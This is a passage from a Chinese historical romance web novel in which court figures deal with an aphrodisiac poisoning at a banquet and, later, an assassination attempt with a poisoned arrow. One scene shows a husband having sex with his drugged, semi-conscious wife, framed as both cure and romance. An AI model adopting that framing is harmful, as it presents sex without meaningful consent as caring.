这话出口,杜泠静只觉房梁都颤了一颤。 她不禁想到魏琮,世子会答应吗?! “这恐怕……” 而她话没说完,见魏玦突然笑了。 他眸光碎裂,目光掠过怀里的人,又看向杜泠静,最后看向保国夫人。 他开口说了四个字,一字一顿。 “儿子怎配?!” 保国夫人愕然。 “为什么?” 她不懂为什么不配? 却看着魏玦决然的神色,不住摇起头来。 “为什么呢?娘越来越看不懂你。从你父亲走后,我六神无主,你怎么就不肯娶妻……” 但魏玦无暇与她说这些了。 “娘不要再执着于此。儿子是锦衣卫,不知哪日就横死在外,实在无须娶妻。至于年嘉……” 他忽然将年嘉放了下来,年嘉难受又不安起来,杜泠静连忙上前,年嘉一把抓住了她的手。 “年嘉是我!” 但年嘉没听清,却问,“世子?世子……” 保国夫人愣住,魏玦亦顿了顿,目光落定在她身上几息。 他转身穿起了衣裳,又有猩红的血从他口中溢出。 他抹掉,却一把抱起了年嘉,大步往外走去。 “静娘,借你马车!” 他道,“年嘉不能再等,要立刻送她回忠庆伯府!” 去找她真正的仪宾,去找魏琮。 去把今日错乱的一切,一丝不差地,再拨回到原来的地方! 不要改变。 杜泠静看向魏玦挺立决然的身形,彻底愣住。 但下一息,她顿时应下。 “好!” 第72章 永定侯府的马车驶出王府, 转至一旁,行进了西侧魏家的别院。 一行从王府别院,避开人群进到魏家别院里, 上了马车。 保国夫人急得落泪,“玦儿你身上还中了药?!” 是她亲自吩咐下给儿子的药, 她只看他嘴角不住滴血, 神魂俱裂。 但魏玦只是摇头,“盼娘今后,莫要再行此等事逼迫儿子,也就是了。” 保国夫人连声保证, “可是你的身子……” 魏玦却不再理会,转头吩咐了锦衣卫, 抱着年嘉上了马车。 杜泠静亦跟上了车,崇平驾车在前,一路往京城忠庆伯府奔去。 饶是崇平驾车再稳,京外的路途上也免不了颠簸。 杜泠静见魏玦脸色越发难看, 青中透白, 还有血滴答从他嘴角落下。 她不禁开口。 “我来抱年嘉吧。” 让年嘉坐着倚在她身上, 她还是抱得了的。 车轮吱呀行在回京的道路上,魏玦默了一默, 看向怀中的人。 他确实不再适合一直抱着她。 他极轻地点了点头。 只是刚伸手要把怀中人送出去,她那潮红到发紫的脸便皱了起来。 她似乎察觉到了什么, 紧闭的双眼下,隐隐有不安的泪光闪动。 魏玦立时不敢再动了, 她却胡乱抓到了他的衣襟,紧紧地攥在了手里。 魏玦跟杜泠静摇了摇头,收回手, 将她重新往怀中紧紧抱来。 她这才稍稍安稳,越发攥着他的衣襟,将头埋在他怀里。 她就这么紧贴着他,两人身上升腾的潮热气息相互纠缠着。 她发梢熟悉的香气,仿佛延伸出来的细细密密的线,不断地绞在他鼻尖。 魏玦神思都抖了一抖。 这是最后一次,上天破例给他的最后一次,让他还能嗅到她发间的香…… 嘴角的血又滴滴答答落下几滴。 杜泠静在旁已慌乱不知如何是好。 “你身子……还受得住吗?” 发香缠绕,魏玦闭起眼睛,将紊乱的气息压了又压,才堪堪吐出两个字来。 “尚可。” 杜泠静却觉他就快撑不住了,可眼下却也只能催促崇平,速速往忠庆伯府而去。 * 京城忠庆伯府。 李太医前来复诊,左右为魏琮切了脉。 “世子有明显好转,但还是要继续静养,伤势平稳才好快速愈合,不然暑热将至,反复起来可就难了。” 他叮嘱继续静养。魏琮道谢,起身送了李太医出了忠庆伯府的门。 刚要转身返回,却见有锦衣卫急奔上门。 是魏玦身边的亲卫。 他一眼看到魏琮便大步上前。 “何事?”魏琮低声。 “世子,郡主出事了!指挥使让您务必亲自接人!” …… 忠庆伯府侧门联通后院,全部清空了闲杂人,崇平驾车直接驶入了院中。 马车刚刚停稳,魏玦便听到了车外一步上前的脚步声。 “郡主?” 是魏琮,他的从兄。 这两个字穿过车窗传了进来。稍稍落下,魏玦便察觉怀中的人,攥着他衣襟的手松了松。 她似有所应地从他怀中转了转头,仿佛寻觅着声音的来处与归途。 魏玦死死压着的喉头,泛着细微的痛意,他紧抿了唇。 杜泠静替年嘉应了一声。 “世子!” “夫人。” 男人得了回应,一步跨上马车,掠过杜泠静,一眼就看到了魏玦怀里的人。 她浓密的睫毛上全是细碎的眼泪,脸色几近发紫,此刻紧咬着唇,闭着眼睛,难受到无以复加。 “郡主……”他不禁又唤了一声。 中了药的人闻声不安起来,眼帘颤着,眼泪哒哒掉落。 “谁人下药?”魏琮沉声低问。 杜泠静哪里来得及调查,事情发生得太快了。 她只能道,“原本那酒是端给我的,或许是给我下药,却令年嘉中毒至此。” 魏琮深深皱了眉,魏玦眸中有冷意一闪而过。 崇平在旁回应,“此事属下已派人禀告侯爷,之后必会查明!” 眼下却不是细究凶手的时候。 车内的低压令昏迷的年嘉越加难耐。 她忽得一咳,嘴角竟也流了血。 “元元!”魏玦一惊。 然而他倏然唤起她的乳名,才意识到从兄魏琮就在一旁。 魏琮目光亦在年嘉流了血的唇角定了一定,但也闻声抬眸看了魏玦一眼。 魏玦紧抱了她,她则倚在魏玦的胸口,半张脸埋在魏玦怀中。 魏琮眸色不变。 “把郡主给我。” 他的声音与眸色一样,沉而稳地听不出半分变化。 但淡淡同魏玦道了句。 “你当尽快去解毒。” 言罢,他俯身伸手从魏玦怀中,将人往自己怀中接来。 魏玦低头看向怀中的人,她已渐渐离开他的怀中。 然而他刚欲慢慢松手,却发现她的手还攥在他衣襟上,许是感觉到此刻的不安稳,她昏迷中惊着越发将他的衣襟死死攥在手里。 她仿佛不要离开他的怀抱! 魏玦眼眸不禁地颤了一颤。 在这一瞬,他忽然不想再放手! 他没再松手,甚至不由地将她,重新往他怀中拢来。 杜泠静讶然。 她只见魏琮低垂着眉眼,目光缓缓扫过魏玦的手,又看向还没能接到自己怀中的那人。 他柔下嗓音,轻唤了她。 “郡主。” 这一声出口,昏迷的年嘉顿了一顿,她不知所措地在两人之间低声啜泣起来。 车中静默到连众人的呼吸都蒸腾无影,只剩下她的难受低泣。 魏氏兄弟的目光皆落在她身上。 杜泠静亦定定看过去。 她见年嘉低声哭着,方才不安地紧攥着魏玦衣襟的手,却终是慢慢松开了来。 杜泠静看到魏玦,轻轻闭起了眼睛。 他唇下抿着,嘴角还有不断溢出的血。但根根手指松开,放下了手臂。 世子完全将他的郡主抱进了怀中。 精壮稳健的臂膀压紧与她生疏的距离,她彻底落入他怀中,也停止了哭泣。 魏琮眉间似乎有些许的和缓。 他目光扫过魏玦。 “你走吧。” 言罢看向杜泠静,跟她道谢地点了头。 魏玦中那药比年嘉更久,确实不能再等。好在忠庆伯府距离积庆坊的侯府并不远。 崇平提前吩咐了人去寻解药,又请解毒的人上门,此刻直奔侯府而去。 杜泠静见魏玦连唇色都彻底白了。 “指挥使……”她不禁叫他。 但魏玦刚抬头向她看去,却身上忽的一倾。 一口腥气浓郁的鲜血,径直咳了一地。 鲜血飞溅在杜泠静的裙摆上。 她讶然失色,却见魏玦以袖颤手拭了满是血的嘴角。 他亦看到了溅在杜泠静裙摆上的他的血。 他面露歉意地看了她。 “静娘,抱歉。弄脏了你的衣裙……” 哪里还是说这些的时候?! 可杜泠静还未及开口说什么,却见他强撑着护送年嘉的最后的气力,已尽数失灭。 他向一侧倒去,砰然倒在了座椅上。 魏玦昏厥。 杜泠静大惊,“崇平,快,快回府!” …… 马车刚回到侯府没多久,就有人阔步折返,一步跨了进来。 陆慎如下朝后,回府刚换了衣裳,照着自己早间与娘子所言,骋马出京往兖王府的别院而去。 谁想刚出京门,崇平就派人急急拦了他。 此刻陆侯刚行至外院安置外客的近岚轩,便遥遥看到他的娘子,正站在廊下的一株海棠树前怔忪发呆。 他一眼看过去,恰有侍卫上前回话。 侍卫道平统领寻了人来给指挥使解毒,尚需要些时间,“指挥使损伤不浅,但目前尚算平稳。” 男人听到最后两个字,略扬了下巴。 侍卫退下去,他见他发呆的娘子也终于回神看到了他。 但还呆着,一双水眸尽是怅然,没向他走来,他只能抬脚过去。 她还穿着早间出门的衣裙,眼睛却红彤彤的,水光散漫。但鲜亮的衣襟裙摆上全沾了血,左手更是割破包了帕子。 男人一眼打量过去,不禁无奈叹声开口。 “我就是去上个朝,就弄成这样?” 他去上朝,应付窦阁老那些糟老头子,让她去别人家中赴宴,说好了等他下朝去接她,结果…… “手也割破了,裙子上全是血,还捡了个男人回家?” 他问她,问得杜泠静一愣。 她瞬间回了神。 什么叫捡了个男人回家? “那是指挥使!”她与他分说。 他扬了下巴。 “难道他不是男人?” “……” 杜泠静跟他分说不清了。都什么时候了,他跟她胡乱纠缠这个。 她气得转了身。 但还没转完,就被他拉了回来。 “你还生气?我且问你好端端地出门赴宴,怎么弄成这样?又受伤?” 他“兴师问罪”,让她解释和反省。杜泠静都不知道要怎么回答了。 杜泠静却不由地想到,若是彼时她没记起他“少吃些酒”的嘱咐,将那壶酒吃了,今日又该是何等的状况? 她念及此处,男人亦想到了这里。 他嗓音变得冷沉。 “高门各府的宴请,总有些乌烟瘴气的事。我看不去也罢,你亦不必想着替我交结打点。” 他说如今最至关重要的是文武两派、东宫之争。 “我心中自有数,若再需要娘子替我奔走,也不必同人争了。” 杜泠静抬头向他看去,他哼哼两声,拉了她往一旁的房中坐来。 叫了人去取药箱。 “又受伤。第二次了。”他瞧着她的左手嘀嘀咕咕。 第一次在京郊山林里,她去救廖先生,被杨金瑜让人放的箭划破了手臂,好多天才好。 这第二次,据说是被她那二妹推搡,手心割在了大石上。 事不过三,这都两次了。 他亲自给她上了药,这一道不浅,又不知多少日才能好。 陆慎如却想到了方才那桩要事。 “跟我说说到底是怎么回事?” 之前他在外说,她在外受了委屈,回家总不肯告诉他。 这次杜泠静还真就得把今日乱七八糟的一堆事,全跟他说一遍。 从让人跟着二妹杜润青,发现万老夫人给她送了药说起,但中间说到了蒋枫川,她倒是没多讲,将六郎的部分省略过去,说到原本无事了,谁想端给她的酒中被人下了药。 兖王妃极力推荐给她镇痛的药酒,怎么可能在其中下药? 这药与魏玦中的药一模一样,显然是有人偷偷捡走了药瓶,把药悄无声息地下到了给她的酒里。 不想却被年嘉吃了。 杜泠静头痛,“不知是谁?” 是奔着她来的,不是奔着年嘉。 男人倒是并不犯愁,只是眸中冷了几分。 他替她把手重新上药包扎好,看向自己娘子的眼睛,微微笑了笑。 “会知道的。” * 忠庆伯府。 魏世子抱了他的郡主,先给她喂了点类似效用的解药,她嘴角果然没再流血,脸上的红紫也浅了些许。 接着又给她喂了些冷水,让她倚在他怀中,目光落在她似要抓住什么的手上,不禁想到马车里,她的手紧攥着旁人的衣襟,指尖捏到发白…… 男人静默不言,却拿着她要去抓什么的手,放在了自己的衣襟上。 她立时抓了上来,只是却没有去抓旁人时那般用力紧攥。 但下一息,她闭着眼睛低低哼了两声,指尖顺着他的衣襟向里面探去。 三下两下,探在了他的胸膛上,指尖的肌肤贴着他的胸膛,身子不安分地在他怀中蹭了起来。 最难受的药力消解三分,药效反而是翻了上来。 她把整只手掌都贴在了他前胸上,迷糊着哼哼不停。 魏琮低笑了一声,应了她。 “知道了。” 他转身便解了衣裳,赤着的胸膛上,斜着绷了白色的布带,裹着今次刚受的伤。 李太医嘱咐他静养。 但男人只将衣衫撇去了一旁,抱着怀中人放在锦被之中。 他轻轻亲了亲她的鬓发,她又细声轻哼催促着他。 他们的第一次,她就着急得不行,最后“霸王硬上弓”地与他圆了房。 这一次,她又着急。 但情形不太相同。 他抬手摩挲了她滑软的膝头,她立时哼哼着抖了身,却在药力作用下,抬起膝盖蹭到了他的腰间。 他腰间有伤,但男人并未拿开,就任由她这么蹭着。 下一刻,托了她的细腰软臀,大军低压入境。 …… 年嘉幽幽转醒的时候,天色早已黑透,不知到了几更。 身上的燥热还没有完全降下来,她脑中似是煮了一锅浆糊,晕晕乎乎地瞧着自己,从兖王府别院,又回到了忠庆伯府与世子的院中房里。 她隐约感觉自己在王府的状况似乎不太对,不只是醉酒这么简单,仿佛是中了什么春风一度的药。 但世子并未跟她一道去赴宴,她是怎么回来的,什么人把她送回来的,她就不知道了。 而眼下,她好像被人从床上抱到了榻上。 世子取了张薄毯走了过来,他上身赤着,她下意识闭起了眼睛。 他用薄毯将她身子裹了,却轻轻摩挲在了她腰间。 他指尖粗粝如同关外的风沙,但隔着薄薄的毯子摩挲而来,有种说不清的细柔旖旎之感。 年嘉药力未完全散去,身子不由自主地又软了下来,某处又渗细露水珠。 而他则将她往怀中拢来,将那薄毯从她裸滑的肩头剥下。 房中细风瞬间漫上她胸前。 年嘉一惊,再装不下去,诧然睁开了眼睛。 魏琮眨眼瞧了她,嗓音低哑是她从未听过。 “哦,郡主醒了。” “呃,我……” 年嘉不知该说什么,去也看到了房中的凌乱。 从床上到榻下,甚至到一旁的桌案上……恐怕解毒,不止一次。 年嘉脑袋里又懵又惊,再看向眼前男人。 却恍然看到他,就快要愈合的胸前那道重伤,竟然有血斑斑点点渗了出来。 “世子、世子你……” 他伤口出血了,魏琮也看到了。 但他温声,“不妨事。” 外伤或许不妨事,但他可还受了不浅的内伤。 环顾房中,他给她解了不止一次药,“世子你会死的吧?!” 年嘉惊诧不已。 可男人却笑了起来。 “不至于,我还不想让郡主改嫁。” 他还不想让她改嫁给别人。 年嘉怔住,残留的药力令她脑中一团迷糊。 可他却已分花而入。 年轻的郡主张大了嘴巴,她只觉整个高阔的厢房都被胀满了。 她不敢动,但药力下的身子却自主地扭了扭。 他低笑,年嘉目瞪口呆。 她愣愣看着他,恍然间又想起了新婚那晚惊吓了她的那事,还想试图。 “我、我,我可以让太医给我解药。” 然而男人摇头。 “解药之效,远不如我亲自来。” 他说着又重复了一遍,“郡主放心,我不会让郡主改嫁的。” 话音落地,他再不给她胡乱思索的间隙。 他深深而入,他托住她的后颈,压住她白软的耳朵,将吻落在了她的唇角。 年嘉颤了她睁大的眼眸。 * 积庆坊,永定侯府。 天色越过漫长的深夜,在远处的东方鱼肚泛白。 魏玦扶着痛意四散的胸口,苏醒过来,缓缓睁开了眼睛。 第73章 晨光熹微, 崇平走到侯爷窗下。 “侯爷,指挥使醒了,欲同侯爷告辞离去。” 房内, 陆慎如刚轻声应了一声,就见他娘子从帐中坐了起来。 “指挥使怎么样了?”她道, 披了衣裳下床, “我跟你一道过去。” 男人没立时应下,挑眉看了她一眼。 杜泠静瞬间读懂了他眉宇间的意涵。 他还真当,那是她在外捡回来的男人不成? 那分明是他自家的表弟! 杜泠静瞥了他一眼,穿起了衣裳。 陆侯哼哼两声, 道,“罢了, 我一贯大度。” 他一贯大度? 杜泠静不禁怪看他一眼,他立时就问。 “娘子不如此以为?” 杜泠静还能说不是? 她暗暗好笑,道了句“怎敢”,便催促着他赶紧去了。 魏玦身上中的药, 是强行用解药解开的, 杜泠静见到他虽然醒了, 崇平也给他换了干净衣衫,但他唇色发白, 如同大病一场。 昨日强撑到吐了血,怎么可能一夜恢复? 但他却神色淡淡, 半垂着眉眼同杜泠静道了歉。 “家母糊涂了,做了这等事。” 如果按照原计划, 另一个服药的可就是杜家二姑娘杜润青。 他同杜泠静道,“我回去自会约束母亲,想来母亲也已清醒过来。还请静娘莫要因此恼怒。” 一个巴掌拍不响, 她自家二妹这边不全是保国夫人犯糊涂的原因。 他道歉过,又想到了旁的,看了杜泠静一眼。 “年嘉那边……”他料想年嘉的药必然妥当解了,“只是昨日种种,如云烟已过,倒也不必让她知晓。” 杜泠静眨了眼睛。 她不禁想到昨日在马车上,魏玦在年嘉紧抓着他的衣襟不放的那一刻,亦不由地抱紧了她,那是一瞬突然爆发的不舍,不舍再将她交给魏琮。 若当年,如同年嘉所言一般,他决然与她分道扬镳,昨日又怎么会有那无法忍住的不舍一刻? 然而今日,他请她不必再与年嘉提及半句。 杜泠静顺着他的意愿,点了点头。 至于当年他到底是何原因与年嘉分道,杜泠静自不便去问。 毕竟他是锦衣卫,更是锦衣卫的指挥使,天底下,心中辛密最多的人。 果然侯爷也没有多问,只嘱咐他表弟。 “回去好生调养些日子。” 魏玦点头应下,又思及昨日的药,莫名其妙到了杜泠静酒壶中的事。 “此事我会给夫人一个交代。” 陆慎如倒不必他操心,摆了手。 “侯府会细查的。” 话说完,时候已经不早,魏玦郑重行礼告辞。 晨曦的光将他的身影模糊在微凉的春风里,他则走入了渐渐春叶相连的树影之中。 杜泠静看着他的身影发了呆。 某人突然问了一句。 “他就这么好看?” 不会是因为他是行伍子弟中身形偏精瘦的那一类,而他性子温和,今又病着,像某个人? 陆慎如低头去看自己的妻,他这话出口,她总算是不发呆了。 她皱眉瞪了他一眼。 “胡搅蛮缠!” 这四个字倒是把陆侯说笑了,她说这话的时候倒跟窦阁老有几分像。 他刚回京入朝堂的那几年,那糟老头子在朝上辩不过他,便会在私下吹胡子瞪眼地道他一句“胡搅蛮缠”。 陆侯将转身要走的娘子拉回来,不等她拒绝,便低头亲在她鼻尖,然后阔步去上了朝。 杜泠静无可奈何。 但陆侯上朝前,倒是没忘了嘱咐崇平一句,“仔细去查,看到底是何人给夫人下药。” 崇平连忙应下。 陆慎如在大殿门前遇见窦阁老的时候,不禁想到“胡搅蛮缠”那四个字。那莫不是他们读书的文人,拿武人无可奈何时,惯用的说辞? 但他眼角瞥见窦阁老那老糟老头子脸上一颗硕大的酒糟鼻,登时收回了目光。 那可同他家中娘子娇俏的小鼻完全不一样。 没等窦阁老回头瞧他,他已转回头扬了下巴,阔步进到了大殿中。 窦阁老莫名地打了个喷嚏,揉了揉自己发红的鼻头。 今日朝会有件事要提。 先前魏琮在宁夏,被突袭的鞑子军队所伤,去也将他们尽数打了回去,打得鞑子残部在山中乱窜,料想他们一时不会回来。 谁料今晨宁夏又来报,说这群鞑靼人又卷土重来了,虽不似上次那般猛,但宁夏城中也缺了魏琮这样的大将坐镇。 魏琮一时是回不去,窦阁老趁机便斥责陆侯在军中排兵布阵不利。 皇上倒是没说什么,不过看似今日身子不大爽利,病恹恹的,无暇仔细过问此事,只让陆慎如尽快安排妥当。 陆慎如领命。 不时下朝,却在宫门前遇到了一人。 来人玉冠锦袍,身后坠着侍从幕僚亲信七八个人。他立在这群成人男子之间,略显出几分少年人的青涩。 陆侯脚步微顿。 “哦,雍王殿下。” 雍王逢祺。 陆侯照着礼数当正经同他行礼,但陆慎如只止步点头,草草行了一礼,再无话与他言说,大步流星的转身离去。 他拥立的是外甥慧王,他欲立幼不立长,同雍王与窦阁老等文臣一派,无话可说。 他就这么走了,雍王殿下身侧的人不由“讨伐”起他来。 尤其雍王近边的一个青年人,不由地冷哼出声。 “分晓未见,陆慎如便嚣张跋扈至此,对殿下不敬,乱臣贼子无疑!” 他说着便同身侧的少年皇子道。 “殿下日后入主东宫,此人必是朝堂大患,届时殿下对他,乃至整个永定侯府陆氏,千万不要心慈手软。” 他沉了声,“连根拔起才安。” 雍王逢祺闻言转头看了他一眼。 这人是他母族邵氏近来刚推到他身边,代替邵伯举的邵家人。 但此人话很多,多到聒噪。 逢祺微微抿唇。 这人全然不及他那自尽的探花表兄邵伯举的文才,更是不及陆侯爷半分龙章凤姿。 只一味地聒噪。 但他并未开口训斥,只是低头转身离去。 * 陆慎如下朝便回了府邸,听闻他的侯夫人,今日在正院后面的小花园里煮茶。 天越发和暖起来,她也渐渐爱往侯府偌大的园子里走动。 这会他抬脚过去,隔着一道开了花格窗的院墙,便瞧见她背身立在池塘旁的垂柳下,同秋霖说事。 柳叶打旋落在她黑亮的发髻上,秋霖在跟她说澄清坊里的事。 “……二姑娘这两日难得的没有闹腾,但也一直抹泪,饭不怎么吃,就问什么时候能让她回去照看母亲,说二夫人病情不稳,离不开她。” 池边垂柳下,杜泠静微叹一气。 她那婶娘莫名摔了头,得了个癔症,回到娘家休养非但没有好转,反而加重了病情。 二妹杜润青也算是孝顺了。 她那不着调的叔叔完全是个甩手掌柜,钱每年寄不回家几两,人也回不到家中来,而他上任的地方偏远,家中人不便去,他也懒得接,就这么把卧病的妻子丢给未及笄的女儿。 眼下二妹倒是及笄了,却也才十五,至于小弟湛明,还要在保定书院的读书,也帮衬不上。 一个十五岁的姑娘,既要打点家中庶务,还要照顾卧病的母亲,偏生她外家并不真的为她们母女着想,只一味给她灌些迷魂药。 杜泠静还是吩咐不让她走,“且让她先冷静冷静,想想明白。” 但秋霖道顾家来了人接她。 早间先是万老夫人派了人过去,文伯把人挡了,不想一转头顾大老爷也派人去接这外甥女。 顾扬嗣的人见文伯不开门,竟然要闯。 “亏得侯府的侍卫在,将那些人斥了回去,这才都悻悻走了。” 如此强硬,别不是又给杜润青找了什么婆家与夫婿。 杜泠静当即吩咐了秋霖,“要么他们把二夫人送回杜家,要么也不要想着打杜家姑娘的主意。” 顾大老爷和万老夫人这对母子想要做什么?无非就是想要借杜家的名头,行不端之事。 陆慎如隔着院墙花窗,忽觉他娘子竟有了超一品侯夫人的风范,没立刻绕过院墙往她身侧走去,仍旧站在窗外。 不想秋霖忽然从袖中取出一方帕子来。 男人定睛看去,那帕子上绣了片枫叶。 秋霖低声,“六爷的帕子,先前给夫人包扎伤口的,奴婢已经洗净了,可要送还回去。” 秋霖暗道,六爷的帕子可不适合留在侯府里。 果见夫人看了一眼,也立时道,“今日就让菖蒲给他送回去吧。” 她说着想到了什么,“后日就是殿试,让他静心温习,望他能在大殿上博得高名。” 虽然以蒋枫川会试的倒数名次,多半也就是个同进士了,但总该有所期盼,哪怕不能成。杜泠静是如此作想。 如果今次进殿试的不是六郎而是三郎,才是有望点在那二甲进士,甚至是一甲那状元、榜眼与探花的名头上。 突然想起三郎,时间似一晃之间,过了一辈子这么久。 她怔了怔,目光朝隔壁院中露出枝干来的一丛翠竹看去。 侯府的竹子在不经意间,只余下最后的一小片,被锁在无人踏足的一方幽院之中。 杜泠静让人收了垂柳下的茶,脚下绕着池塘边缘,一路绕到了那隔墙探出一丛翠绿的竹叶下。 她倏然转过目光,忽的看到了从院墙底下,悄悄拱出来的一个尖尖脑袋。 杜泠静一眼看见此物,便飞快眨了眼睛。 是节竹笋。 某人一声不出地把侯府里的竹子除了个七七八八,眼下若看到只好不容易从院墙另一边穿过来的小笋,还不得让人剜了去? 杜泠静想到那位侯爷,又想起了他早间还说自己“一贯大度”。 她摇头叹气又暗笑,却也偷偷同他对着来,捡了几片落叶盖上,将那竹笋藏在了墙角里。 杜泠静不时离了去,却没发现墙外的人,将她的一举一动都看在眼里。 不过男人没看清,她在墙角里掩藏了什么。 直到他走过去,看到那竹笋,脚步定在墙角,定了几息。 …… 杜泠静晚间觉得她这位侯爷,有些沉默。 不知是何原因,自下晌就不言不语,晚间吃饭的时候,目光不时落在她身上,又静默收回。 仿佛心绪微沉,却又不说为何发沉,只抿着嘴。 杜泠静暗暗称奇,可他却让嬷嬷来点了香。 香气交缠在鼻腔里,可他却连这等时候,也完全沉默起来。 事后的浴房里,杜泠静以为他又会似之前一样,与她道一句“泉泉,我们和好吧”,但今次没有,只是墨色的眼瞳看着她出了一阵神。 次日年嘉派人给杜泠静递了信,想请她到忠庆伯府去。魏琮也给陆侯下了帖子,邀他往伯府赴小小家宴。 陆侯正要与忠庆伯父子二人商议宁夏的军务,晚些时候就带着他的侯夫人去了魏家。 忠庆伯爷,也就是魏琮的父亲,前几年在关外作战时伤了腿,他无法再骑马领兵,干脆收了用了一辈子的刀枪,惜别他出生入死的战场,调回了京中的五军都督府坐镇。 英雄总有迟暮,好在后人辈出。 陆慎如先与魏氏父子商议军务,伯夫人同杜泠静和年嘉说了会话,便笑着假称自己还有事在身,留了两个小姐妹独处。 杜泠静连忙起身送了她,魏琮的母亲拍了她的手让她留步。 转回房中,杜泠静便仔细把年嘉又打量了一遍,她见她面色已然恢复,再回想那日种种,真是惊心。 不过经此一时,杜泠静却不由地多看了她两眼。 她与世子在那事儿上,是不是因祸得福了? 果然年嘉脸色被她盯得染了红晕。 她轻声告诉杜泠静,昨日伯府把李太医请来了。 “李太医先给我诊了脉,无事,但转过来给世子诊脉,却一直摇头。” 年嘉说李太医摇头摇得她心都抖了,“好在是没说世子从此就不成了,但严令他至少静养半月。” 杜泠静闻言也松了口气。 年嘉却小声道,“世子当晚突然跟我说,请我等他半个月。” 等…… 杜泠静见年嘉脸色红晕里透着怕怕地不定。 “我等他半年也成啊,半月就……” 她说她不确定自己那事儿上到底是不是行了,毕竟是在中了药的状况之下。 她说着,脸上更红,红晕连到了耳根,而她声音更低了。 “其实,我更不确定的是,世子对我好像也过于好了。” 她是知道他很好,但她连他为什么突然要娶她,都没弄明白。 “我现在见他倒是不腿软了,但却心跳极快,快得气都喘不畅了。” 杜泠静惊奇,她则抓了她的手,“要不我跟你去侯府住些日子吧!” “……”杜泠静见她一副慌乱无措的样子,忍不住笑了,“就算我答应,世子也未必放人吧,郡主还是留下照顾世子的好。” 毕竟人家世子是因为她,才被李太医强制静养。 年嘉也知道自己是不能丢下他走的,只是在他面前坐也不是,站也不是,他看着她温然一笑,她心跳就更快了。 “好怪啊,我为何会如此……” 年嘉几乎要抓耳挠腮,又想到他的半月之期,更是头晕目眩,只盼自己一闭眼一睁眼,一夜就过去了。 静娘一味地抿着嘴笑。 年嘉连忙岔开了话题。 “对了,听说那日是你给我送回来的。” 她听说是永定侯府的马车。 她突然问及此,杜泠静顿了顿。 有关魏玦的部分,世子无言,魏玦不提,她亦隐去。 仿佛那日魏玦不曾强压着自己,没动同样中了药的年嘉分毫,不曾强忍着给她喂了冷水镇药,也不曾一路抱着她将她送到伯府,不曾吐血到昏厥在车里,昏迷了一整夜…… 杜泠静点头说是,“崇平驾车,我送你过来的。” 年嘉紧紧握了她的手,“多谢你静娘,那日没有你,我可怎么办!” 杜泠静当不得她的谢。 但她又问了是谁人下药。 事情过去才两日,下药的人神不知鬼不觉,且还没这么快能查出来。 两人又说了会话,天色不早,伯夫人叫了小丫鬟来请两人往前厅入宴。 两府家宴并无外人,年嘉坐了世子身侧,来来回回地给他夹菜。 杜泠静细细留意了几眼,怎么全是些滋补壮阳的? 她见世子一脸无奈地笑,年嘉还没察觉,反而催促魏琮,“世子多吃!” 杜泠静好笑得不行。 伯爷和伯夫人只当没看见,让陆慎如和杜泠静不要见外。 陆慎如自是也看到了年嘉郡主和魏琮之间的你来我往。 显然郡主同魏琮成婚之后,已渐渐把有关前人的一切,留在了过去的岁月里。 但他的娘子呢? 他目光落在她身上。 杜泠静有所察觉地看过去,他却安静不言。 …… 回去的路上,杜泠静忍不住要问问他,这两日是怎么了? 难不成朝中有什么烦心事? 可她觉得不像。 且她还没松口与他和好,这话要怎么问,需要些讲究。 然而还未及开口,马车被行人阻了路,停在了半道上。 前面是一群醉了酒的举子,落榜了还没离京,留在京城等着瞧那些上榜的人春闱排名。 他们尽是失意,这会喝了酒却壮了胆,眼见着马车路过不让,反而听闻是永定侯府的马车,故意占了道,阻了陆侯的路。 陆慎如冷笑起来。 他身上亦有酒气,杜泠静见状赶紧叫了他,“前面转过去就到积庆坊了,不若我们下去走几步。” 何必同一群落榜又醉酒的举子不对付?没得又给朝中反对他的文臣递了话柄,上折子骂他。 她请这位侯爷下了车。 男人抬腿下车,负手立在马车旁,一眼往那群举子中扫过去,一众人皆是静了一静。 他这横眉冷眼的气势,已够那群举子喝一壶了。 杜泠静叹气往路边小摊旁走。 陆慎如看了过去,想到她是有些日没出门闲逛了,倒也没再多言,吩咐崇平让人把马车先驶回侯府,他陪她在京城的路上多走一阵。 路边人行热闹,卖什么的都有,尤其天色黑了下来,热腾腾的包子饼子与面条粥水,坐满了人。 杜泠静刚赴完宴,并不饿,却看见前面有个杂书摊,抬脚走了过去。 陆慎如跟在她身后,酒意令他走得不快,负手闲步地缀在她身后。 谁料就在此时,耳边忽然有破风声乍然作响。 京城大道上热闹的人群还未有半分察觉,可陆慎如却见夜色中,有冷光自眼前一闪而过。 侯府的侍卫亦有所觉地向他奔来。 但那突如其来的暗箭,却划破夜空直向杜泠静细软的脖颈射去。 “泉泉!” 她愣着转过身来。 未及她反应,男人双眸极睁,无法将她急促拉回,他倏然飞身上前,一把将她揽进了怀中。 破风的暗箭直抵两人耳中,又在下一息砰然钉进了男人的臂膀里。 血溅在杜泠静的鼻梁与眼下,她已忘了呼吸。 众侍卫惊恐。 “侯爷!” 第74章 “侯爷!”众侍卫惊恐。 血溅在杜泠静的鼻梁与眼下, 她已忘了呼吸。 待她回过神,急着要去看他的伤势,却被他按住了头。 男人坚实有力的臂膀如高耸雄伟的长城, 将她安安稳稳地圈在怀抱之中。 “别看,左不过是些模糊的血罢了。” “可却钉在你身上……”杜泠静错乱到嗓音都变了声。 他却只摸了摸她的发髻, 柔声安慰。 “无碍的小伤。” 他那语气, 仿佛只是一根带刺的野草,轻轻划破了他的皮肤一样。 他还抱着她,将她护在怀中,杜泠静连动都不敢动, 唯恐再弄伤他。 直到街道周遭全被侯府侍卫清了干净,有侍卫匆促上前为侯爷清理伤处, 他才松了手。 侍卫将他围拢了起来,杜泠静无措地站在外面,直到崇平亦快步赶来。 “崇平……” 她红着眼睛。 崇平一眼看过去,连忙递上帕子。 “夫人莫怕, 属下这就护送侯爷与夫人先行回府。” 已有部分侍卫前去追凶, 但因事发京城之中, 又太过突然,而城门尚未关闭, 眼下尚未捉到贼人。 不过此间街道肃清,侯府侍卫层层围拢, 不会再有危险。 崇平又去看了侯爷,倒是陆慎如越过围拢的侍卫, 瞧向惊到都不敢靠近他的娘子。 “没事没事,又不是紧要处。” 那暗箭射在了他肩下大臂之中,确实并非胸口脖颈这等紧要之地。 但崇平看向伤处的血色, 只见血色隐隐泛了黑。 “侯爷……” 箭上有毒。 但男人立时给他摇了头。 不要当着夫人的面提及。 崇平会意,转身叫了马车近前,亲自扶了侯爷上车,又接了夫人上来。 马车往侯府驶去,杜泠静一直盯着他的伤口。 “还在出血。” 血把刚绑上的白布带全都染红了。 她眼睛一错不错地看着他,陆慎如不让她看,她却非要看。 男人无奈。 “皮肉破损当然会出血,难道泉泉你盯着看,血就能止住?那可比神丹妙药还厉害。” 他跟她笑,浑然不当做一回事。 